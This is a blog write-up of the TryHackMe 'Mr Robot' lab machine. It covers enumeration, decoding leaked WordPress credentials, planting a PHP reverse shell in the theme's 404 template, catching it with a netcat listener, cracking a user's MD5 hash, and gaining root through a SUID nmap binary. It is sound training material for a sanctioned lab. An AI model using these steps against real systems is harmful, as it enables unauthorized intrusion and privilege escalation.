0xnhl

THM: Mr Robot Writeup

/ Update
6 min read

Room link: https://tryhackme.com/room/mrrobot
Difficulty: Medium

Can you root this Mr. Robot styled machine? This is a lab machine meant for beginners/intermediate users. There are 3 hidden keys located on the machine, can you find them?

Recon#

Lets start with an nmap scan:

Lets do some enumeration with Gobuster:

Visiting the webpage at the given ip we dont find anything useful.
THM-THM_Mr_Robot_CTF-78805a22-13

Lets try endpoints found by gobuster:
/robots.txt
THM-THM_Mr_Robot_CTF-78805a22

We get the 1st key at /key-1-of-3.txt
THM-THM_Mr_Robot_CTF-78805a22-1

We get a wordlist at /fsocity.dic
THM-THM_Mr_Robot_CTF-78805a22-2

Lets save it to our local machine for now

❯ wget http://10.49.149.147/fsocity.dic
Saving 'fsocity.dic'
HTTP response 200 OK [http://10.49.149.147/fsocity.dic]
fsocity.dic          100% [===================================================================================>]    6.90M    2.09MB/s
[Files: 1  Bytes: 6.90M [2.05MB/s] Redirects: 0  Todo: 0  Errors: 0               ]
plaintext

/readme page:
THM-THM_Mr_Robot_CTF-78805a22-3

/license page on scrolling give these:
THM-THM_Mr_Robot_CTF-78805a22-4
THM-THM_Mr_Robot_CTF-78805a22-5
THM-THM_Mr_Robot_CTF-78805a22-7

Looks like a base64 encoded text
Lets decode it:
THM-THM_Mr_Robot_CTF-78805a22-8
We get a username and password combination !!

/login -> /wp-login.php
THM-THM_Mr_Robot_CTF-78805a22-9

Lets try elliot:ER28-0652:THM-THM_Mr_Robot_CTF-78805a22-10
And we are in !!

Exploitation#

User elliot seems to be an administrator account. This means that it has access to the Editor’s tab (Appearance → Editor):
THM-THM_Mr_Robot_CTF-78805a22-11
We can simply replace one of the template’s code, e.g. 404.php, with PHP code that will launch a reverse shell for us.
I’m using pentestmonkey’s php reverse shell.THM-THM_Mr_Robot_CTF-78805a22-14

Now setup a Netcat listener and simply invoking the 404 page will give us a shell:THM-THM_Mr_Robot_CTF-78805a22-15

❯ nc -lvnp 4444
Ncat: Version 7.92 ( https://nmap.org/ncat )
Ncat: Listening on :::4444
Ncat: Listening on 0.0.0.0:4444
Ncat: Connection from 10.49.149.147.
Ncat: Connection from 10.49.149.147:39608.
Linux ip-10-49-149-147 5.15.0-139-generic #149~20.04.1-Ubuntu SMP Wed Apr 16 08:29:56 UTC 2025 x86_64 x86_64 x86_64 GNU/Linux
 13:14:46 up  1:36,  0 users,  load average: 0.00, 0.01, 0.09
USER     TTY      FROM             LOGIN@   IDLE   JCPU   PCPU WHAT
uid=1(daemon) gid=1(daemon) groups=1(daemon)
/bin/sh: 0: can't access tty; job control turned off
$ id
uid=1(daemon) gid=1(daemon) groups=1(daemon)
plaintext

We got shell!!

$ pwd
/home/robot
$ ls -la
total 16
drwxr-xr-x 2 root  root  4096 Nov 13  2015 .
drwxr-xr-x 4 root  root  4096 Jun  2  2025 ..
-r-------- 1 robot robot   33 Nov 13  2015 key-2-of-3.txt
-rw-r--r-- 1 robot robot   39 Nov 13  2015 password.raw-md5
$ cat key-2-of-3.txt
cat: key-2-of-3.txt: Permission denied
$ cat password.raw-md5
robot:c3fcd3d76192e4007dfb496cca67e13b
plaintext

We don’t seem to have access to key file inside the home directory of the user robot, but we can access a file named password.raw-md5 which on decoding gives us the password for the user robot
THM-THM_Mr_Robot_CTF-78805a22-16

Let’s switch user and read the flag:

$ su - robot
Password: abcdefghij====Redacted====

id
uid=1002(robot) gid=1002(robot) groups=1002(robot)
ls
key-2-of-3.txt
password.raw-md5
cat key-2-of-3.txt
822c73956====Redacted====
plaintext

We got the 2nd flag

Privilege Escalation#

For the final flag, we probably have to get root access.

Since we know the password for the robot user, let’s log into it via ssh for a better shell experience:

❯ ssh robot@10.49.149.147
The authenticity of host '10.49.149.147 (10.49.149.147)' can't be established.
ED25519 key fingerprint is: SHA256:K3ofHO2D/W/gpnoFUsUYER0bLmbUWIoZ6wdFWMaJLvs
This key is not known by any other names.
Are you sure you want to continue connecting (yes/no/[fingerprint])? yes
Warning: Permanently added '10.49.149.147' (ED25519) to the list of known hosts.
robot@10.49.149.147's password:
Welcome to Ubuntu 20.04.6 LTS (GNU/Linux 5.15.0-139-generic x86_64)
...
Last login: Fri Nov 13 23:50:42 2015
$ id
uid=1002(robot) gid=1002(robot) groups=1002(robot)
plaintext

We can try searching for files with special permissions, such as SUID files. These are files that always execute as the user who owns the file, regardless of the user passing the command (more info about SUID files here). We can search for SUID files using the command below:

$ ls -l /usr/local/bin/nmap
-rwsr-xr-x 1 root root 17272 Jun  2  2025 /usr/local/bin/nmap
plaintext

Seeing nmap in this list is unusual and raises suspicion. To check whether it can be used for privilege escalation, we can search for it on GTFOBins.
When we look up “nmap” there, we find the following information:
THM-THM_Mr_Robot_CTF-78805a22-17
By following the instructions for launching an interactive shell, we can obtain a root shell.

And we have the final flag!! 🎉

THM: Mr Robot Writeup
https://nahil.xyz/vault/writeups/tryhackme/thm-mr-robot/
AuthorNahil Rasheed
Published atAugust 6, 2026
CopyrightCC BY 4.0
DisclaimerThis content is provided strictly for educational purposes only.